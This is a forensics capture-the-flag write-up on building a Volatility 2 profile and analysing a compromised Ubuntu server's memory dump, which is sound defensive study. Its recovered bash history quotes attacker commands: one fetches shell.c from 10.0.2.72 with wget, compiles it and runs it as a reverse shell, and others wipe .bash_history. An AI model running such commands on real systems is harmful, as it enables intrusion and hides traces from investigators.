Profiles
No profile? No problem. - by hadrian3689
The following post by 0xb0b is licensed under CC BY 4.0
The task provides us with the following information and a zip containing the memory dump of a Linux server:
The incident response team has alerted you that there was some suspicious activity on one of the Linux database servers.
A memory dump of the server was taken and provided to you for analysis. You advise the team that you are missing crucial information from the server, but it has already been taken offline. They just made your job a little harder, but not impossible.
Click on the Download Task Files button at the top of this task. You will be provided with an evidence.zip file.
Extract the zip file's contents and begin your analysis in order to answer the questions.
Note: The challenge is best done using your own environment. I recommend using Volatility 2.6.1 to handle this task and strongly advise using this article by Sean Whalen to aid you with the Volatility installation.
Volatility 3 was already installed on one of my instances, with which I initially solved the tasks, but was not able to do so fully, because, as far as I know, this extraction of files is not yet supported in Volatility 3.
When analyzing the dump with imageinfo for the first time, there were no results at first. By issuing the command vol.py --info, I notice that I do not have any profiles for Linux. And that's the entire point of the challenge—getting a profile on your own.
Creating A Profile
We need a profile to analyze a memory dump because it contains essential debugging symbols and system-specific information that guide Volatility 2 in correctly interpreting the unique structures and data within that specific operating system’s memory. Without the right profile, the tool cannot accurately map and decode the raw binary data from the memory dump, leading to potential misanalysis or incomplete forensic results.
Without needing a profile, we can run banners with Volatility Version 2 or 3, to get the necessary information: the Linux kernel in use and the operating system. This is necessary since we need a System running on those specific aspects to build the profile.
We are dealing with Ubuntu 20.04.2 running on the 5.4.0-166-generic kernel.
python3 vol.py -f ../linux.mem banners
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
Offset Banner
0x2f9c4c88 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
0xa707c8c8 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
0xd46001a0 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
0xd619de54 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
0x106d64c88 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)Let's download an ISO of Ubuntu 20.04 and set up a VM.
After having the VM setup, we see we have the wrong kernel installed. No problem.
But first, let's set up Volatility 2 on that VM, since we want to have a fresh installation of Volatility 2 that won't mess up our dependencies on our Workstation. Furthermore, Volatility 2 is required on the VM anyway to create the profile.
$ uname -r
5.15.0-105-genericVolatility 2
The following section describes the installation of Volatility 2 by Sean Whalen.
Installing Volatility 2
We stay on our new setup vm and install Volatility 2
Install system dependencies
sudo apt install -y build-essential git libdistorm3-dev yara libraw1394-11 libcapstone-dev capstone-tool tzdataInstall pip for Python 2
sudo apt install -y python2 python2.7-dev libpython2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py
sudo python2 -m pip install -U setuptools wheelInstall Volatility 2 and its Python dependencies
To install system-wide for all users, use the sudo command in front of the python2 commands.
python2 -m pip install -U distorm3 yara pycrypto pillow openpyxl ujson pytz ipython capstone
sudo python2 -m pip install yara
sudo ln -s /usr/local/lib/python2.7/dist-packages/usr/lib/libyara.so /usr/lib/libyara.so
python2 -m pip install -U git+https://github.com/volatilityfoundation/volatility.gitAfter having Volatilty2 installed, we also clone the repository, to make our changes and add our custom profile here.
git clone https://github.com/volatilityfoundation/volatility.gitCreate the Module
We need to build a kernel module that Volatility will use to extract the necessary symbols. This requires us to have the correct Linux headers for the Linux kernel 5.4.0-166-generic. We install it with the other requirements, like dwarfdump. The Makefile to craft such a module can be found inside Volatility's Linux tools directory.
sudo apt-get install dwarfdump build-essential linux-headers-5.4.0-166-generic git
cd volatility/tools/linuxNext, we just edit the Makefile in volatility/tools/linux which builds that said module. The original one will build it for the current running kernel, but we want to avoid the hassle of downgrading the kernel and just hard-code the path to /lib/modules/5.4.0-166-generic/build.
~/volatility/tools/linux$ cat Makefile
obj-m += module.o
KDIR ?= /
KVER ?= $(shell uname -r)
-include version.mk
all: dwarf
dwarf: module.c
$(MAKE) -C $(KDIR)/lib/modules/5.4.0-166-generic/build CONFIG_DEBUG_INFO=y M="$(PWD)" modules
dwarfdump -di module.ko > module.dwarf
$(MAKE) -C $(KDIR)/lib/modules/5.4.0-166-generic/build M="$(PWD)" clean
clean:
$(MAKE) -C $(KDIR)/lib/modules/5.4.0-166-generic/build M="$(PWD)" clean
rm -f module.dwarfNow we can run make.
~/volatility/tools/linux$ makeAnd we have our first part for our Volatility 2 profile, the module.dwarf file.
~/volatility/tools/linux$ ls
Makefile Makefile.enterprise module.dwarf
kcore Makefile.bak module.c
Next, we actually have to install the kernel, but it is not required to have it running. We need the System.map file that corresponds to the kernel. This file contains all the symbols and their addresses in the kernel, and it's used alongside the DWARF information. Typically, this file can be found in /boot:
sudo apt update; sudo apt install linux-image-5.4.0-166-genericAfter installing the kernel, we can copy /boot/System.map-5.4.0-166-generic to our current directory. Next, we zip the System.map file and the compiled module.dwarf and place the zip archive at volatility/plugins/overlays/linux/.
~/volatility/tools/linux# cp /boot/System.map-5.4.0-166-generic .
~/volatility/tools/linux# ls
kcore Makefile.bak module.c System.map-5.4.0-166-generic
Makefile Makefile.enterprise module.dwarf
~/volatility/tools/linux# zip 5.4.0.zip module.dwarf System.map-5.4.0-166-generic
adding: module.dwarf (deflated 91%)
adding: System.map-5.4.0-166-generic (deflated 79%)
~/volatility/tools/linux# cp 5.4.0.zip ../../volatility/plugins/overlays/linux/
After running --info, we find our profile. We successfully installed our custom profile.
~/volatility$ python2 vol.py --info | grep Linux
Volatility Foundation Volatility Framework 2.6.1
Linux5_4_0x64 - A Profile for Linux 5.4.0 x64
LinuxAMD64PagedMemory - Linux-specific AMD 64-bit address space.
linux_aslr_shift - Automatically detect the Linux ASLR shift
linux_banner - Prints the Linux banner information
linux_yarascan - A shell in the Linux memory imageVolatility 3
The profile creation of Volatily 3 is a bit different, our target VM ist still required but a bit more approachable with the tool dwarf2json. To solve this Challenge Volatilty 2 is required; if a solution with Volatilty 3 is possible, it can also be found here as an alternative command.
The following resource gives a detailed description of how to create a profile for Volatility 3:
Resources
A comprehensive guide on how to use Volatility to analyze a Linux memory dump can be found here:
What is the exposed root password?
The first question is about an exposed root password. There are several places you could look, such as environment variables, files with passwords or the bash history. We find what we are looking for in the bash history, which we can restore using linux_bash.
linux_bash - Recover bash history from bash process memory
In addition to the root password, we can also directly answer the second question of when the users.db was accessed.
But there is more to discover. Furthermore, a reverse shell in c was possibly obtained from the source IP 10.0.2.72, which was subsequently compiled to pkexecc. This will be useful in answering further questions.
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
1076 bash [REDACTED] UTC+0000 su root[REDACTED]
1076 bash [REDACTED] UTC+0000 sqlite3 users.db
1076 bash [REDACTED] UTC+0000 @????U
1076 bash 2023-11-07 03:49:45 UTC+0000 su root
1076 bash 2023-11-07 03:50:11 UTC+0000 wget 10.0.2.72/shell.c && gcc shell.c -o pkexecc && rm shell.c
1076 bash 2023-11-07 03:50:17 UTC+0000 ./pkexecc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install build-essential linux-headers-`uname -r` git python dwarfdump zip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 passwd paco
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 passwd root
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:51:49 UTC+0000 rm shell.c
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 systemctl restart sshd
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 which gcc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 reboot
1197 bash 2023-11-07 03:51:49 UTC+0000 ???2?
1197 bash 2023-11-07 03:51:49 UTC+0000 clear
1197 bash 2023-11-07 03:51:49 UTC+0000 vi /root/.bashrc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install sqlite3 python3-pip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 groups paco
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update -y && apt-get upgrade -y
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:51:49 UTC+0000 wget 10.0.2.72/shell.c
1197 bash 2023-11-07 03:51:49 UTC+0000 gcc shell.c -o pkexecc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install build-essential linux-headers-`uname -r` git python dwarfdump zip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > .bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 snap remove lxd
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 gpasswd -d paco lxd
1197 bash 2023-11-07 03:51:49 UTC+0000 systemctl restart ssh
1197 bash 2023-11-07 03:51:49 UTC+0000 vi /etc/ssh/sshd_config
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:52:07 UTC+0000 git clone https://github.com/504ensicsLabs/LiME && cd LiME/src/
1197 bash 2023-11-07 03:52:12 UTC+0000 make
1197 bash 2023-11-07 03:52:21 UTC+0000 ls
1197 bash 2023-11-07 03:52:37 UTC+0000 insmod lime-5.4.0-166-generic.ko "path=/home/paco/linux.mem format=lime"The Volatility 3 command looks as follows to retrieve the bash history:
python3 vol.py -f ../linux.mem linux.bashUnlike Volatility 2, the profile does not have to be specified, but is loaded automatically.
And what time was the users.db file approximately accessed? Format is YYYY-MM-DD HH:MM:SS
We find what we are looking for in the bash history, which we can restore using linux_bash.
linux_bash - Recover bash history from bash process memory
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
1076 bash [REDACTED] UTC+0000 su root[REDACTED]
1076 bash [REDACTED] UTC+0000 sqlite3 users.db
1076 bash [REDACTED] UTC+0000 @????U
1076 bash 2023-11-07 03:49:45 UTC+0000 su root
1076 bash 2023-11-07 03:50:11 UTC+0000 wget 10.0.2.72/shell.c && gcc shell.c -o pkexecc && rm shell.c
1076 bash 2023-11-07 03:50:17 UTC+0000 ./pkexecc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install build-essential linux-headers-`uname -r` git python dwarfdump zip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 passwd paco
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 passwd root
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:51:49 UTC+0000 rm shell.c
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 systemctl restart sshd
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 which gcc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 reboot
1197 bash 2023-11-07 03:51:49 UTC+0000 ???2?
1197 bash 2023-11-07 03:51:49 UTC+0000 clear
1197 bash 2023-11-07 03:51:49 UTC+0000 vi /root/.bashrc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install sqlite3 python3-pip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 groups paco
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update -y && apt-get upgrade -y
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:51:49 UTC+0000 wget 10.0.2.72/shell.c
1197 bash 2023-11-07 03:51:49 UTC+0000 gcc shell.c -o pkexecc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install build-essential linux-headers-`uname -r` git python dwarfdump zip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > .bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 snap remove lxd
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 gpasswd -d paco lxd
1197 bash 2023-11-07 03:51:49 UTC+0000 systemctl restart ssh
1197 bash 2023-11-07 03:51:49 UTC+0000 vi /etc/ssh/sshd_config
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:52:07 UTC+0000 git clone https://github.com/504ensicsLabs/LiME && cd LiME/src/
1197 bash 2023-11-07 03:52:12 UTC+0000 make
1197 bash 2023-11-07 03:52:21 UTC+0000 ls
1197 bash 2023-11-07 03:52:37 UTC+0000 insmod lime-5.4.0-166-generic.ko "path=/home/paco/linux.mem format=lime"What is the MD5 hash of the malicious file found?
The next question asks for a suspicious file, which will probably be the pkexecc. We need to determine the MD5 hash for this file; this requires that we extract the file. This is probably only possible using Volatility 2. If it does work with Volatilty 3, please let me know.
To be able to extract the file, we first need to know exactly where it is located. We can find this out using linux_enumerate_files and look at all entries using the grep filter with the name pkexecc. We find the file pkexecc located in /home/paco/.
linux_enumerate_files - Lists files referenced by the filesystem cache
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_enumerate_files | grep pkexecc
Volatility Foundation Volatility Framework 2.6.1
0xffff8903b2364120 655377 /home/paco/pkexecc
The entry also contains the offset where this can be found exactly. We now need this to recover the file using linux_find_file. After we have restored the file, we determine the MD5 hash using md5sum.
linux_find_file - Lists and recovers files from memory
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_find_file -i 0xffff8903b2364120 -O pkexecc
Volatility Foundation Volatility Framework 2.6.1
~/volatility$ md5sum pkexecc
0511[REDACTED] pkexecWhat is the IP address and port of the malicious actor? Format is IP:Port
We already got a hint about the IP of the malicious actor from the bash history: 10.0.2.72. The malicious file has already been confirmed by answering the previous questions. With linux_netstat we can view all open connections. We filter the output directly based on the IP we already know and find what we are looking for.
linux_netstat - Lists open sockets
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_netstat | grep 10.0.2.72
Volatility Foundation Volatility Framework 2.6.1
TCP 10.0.2.73 : 22 10.0.2.72 :53888 ESTABLISHED sshd/1002
TCP 10.0.2.73 : 22 10.0.2.72 :53888 ESTABLISHED sshd/1075
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED sh/1093
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED sh/1093
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED sh/1093
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED sh/1093
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED su/1095
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED su/1095
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED su/1095
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED su/1095
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED bash/1097
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED bash/1097
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED bash/1097
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED bash/1097
TCP 10.0.2.73 : 22 10.0.2.72 :57690 ESTABLISHED sshd/1099The Volatility 3 command looks as follows:
python3 vol.py -f ../linux.mem linux.sockstat.Sockstat What is the full path of the cronjob file and its inode number? Format is filename:inode number
That was a bit tricky, with linux_enumerate_files we can localize the cronjob, just like with the file pkexecc, but we also have to know its inode number, unfortunatley the one listed here is not the correct one.
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_enumerate_files | grep crontab
Volatility Foundation Volatility Framework 2.6.1
0xffff890499fa1650 131184 /var/spool/cron/crontabs
0xffff8903b23667a8 131127 /var/spool/cron/crontabs/[REDACTED]
0xffff890499fa4120 524970 /etc/crontab
But we can list all file descriptors and their paths, which also displays the inode number. One path stands out here very often, the one with the anon_inode, which is referring to the cronjob.
linux_lsof - Lists file descriptors and their path
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_lsof
Volatility Foundation Volatility Framework 2.6.1
Offset Name Pid FD Path
------------------ ------------------------------ -------- -------- ----
0xffff89049b1b8000 systemd 1 0 /dev/null
0xffff89049b1b8000 systemd 1 1 /dev/null
0xffff89049b1b8000 systemd 1 2 /dev/null
0xffff89049b1b8000 systemd 1 3 /dev/kmsg
0xffff89049b1b8000 systemd 1 4 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 5 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 6 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 7 /sys/fs/cgroup/unified
0xffff89049b1b8000 systemd 1 8 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 9 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 10 /proc/1/mountinfo
0xffff89049b1b8000 systemd 1 11 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 13 anon_inode:[REDACTED]
The Volatility 3 command looks as follows:
python3 vol.py -f ../linux.mem linux.lsof.LsofWhat command is found inside the cronjob file?
As with the pkexecc file, we recover the cronjob using linux_find_file. And we can then take a look at the content.
linux_find_file - Lists and recovers files from memory
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_find_file -i 0xffff8903b23667a8 -O crontab
Volatility Foundation Volatility Framework 2.6.1
~/volatility$ cat crontab
* * * * * cp [REDACTED] [REDACTED]
This question could be answered without using Volatility at all. By strings linux.mem | grep crontab.
This was the first approach when trying to solve this challenge using only Volatility 3.
Last updated
Was this helpful?